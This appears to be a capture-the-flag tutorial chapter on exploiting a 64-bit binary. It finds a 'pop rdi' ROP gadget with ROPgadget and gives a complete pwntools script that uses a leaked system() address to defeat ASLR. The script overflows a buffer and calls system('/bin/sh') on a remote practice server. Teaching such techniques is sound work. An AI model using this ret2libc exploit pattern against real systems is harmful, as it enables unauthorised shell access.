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This is a very similar binary to the last one, so we'll be reusing most of the same techniques. This time, we'll need a way to pass the /bin/sh address into rdi, which will require a gadget to do this.

Getting our Gadget

We'll do this the same way that we did it in the ROP chapter. We use ROPgadget to search for a gadget that will pop the top of the stack into rdi:

```
$ ROPgadget --binary stepup | grep "pop rdi"
0x0000000004011db : pop rdi ; ret
```

This is perfect. We'll use this gadget to pop the address of /bin/sh into rdi before calling system().

Writing the Exploit

This binary is nearly identical to the last one. We are provided the address of system(), so we can just use that directly. Checking read_in, we'll notice that it takes 40 bytes to reach the return pointer.

This is everything we need to write the exploit:

```
from pwn import *

elf = context.binary = ELF('./stepup')
libc = elf.libc
p = remote('vunrotc.cole-ellis.com', 6200)

p.recvuntil(b'at: ')
leak = int(p.recvline(), 16)
libc.address = leak - libc.sym.system
log.success(f'LIBC base: {hex(libc.address)}')

g_popRdi = 0x4011db

payload = b'A' * 40
payload += p64(g_popRdi)
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym.system)

p.sendline(payload)
p.interactive()
```

Running this gets our flag! We beat ASLR in 64-bit, which was no different than beating it in 32-bit. The only difference is that we had to use 64-bit gadgets and addresses.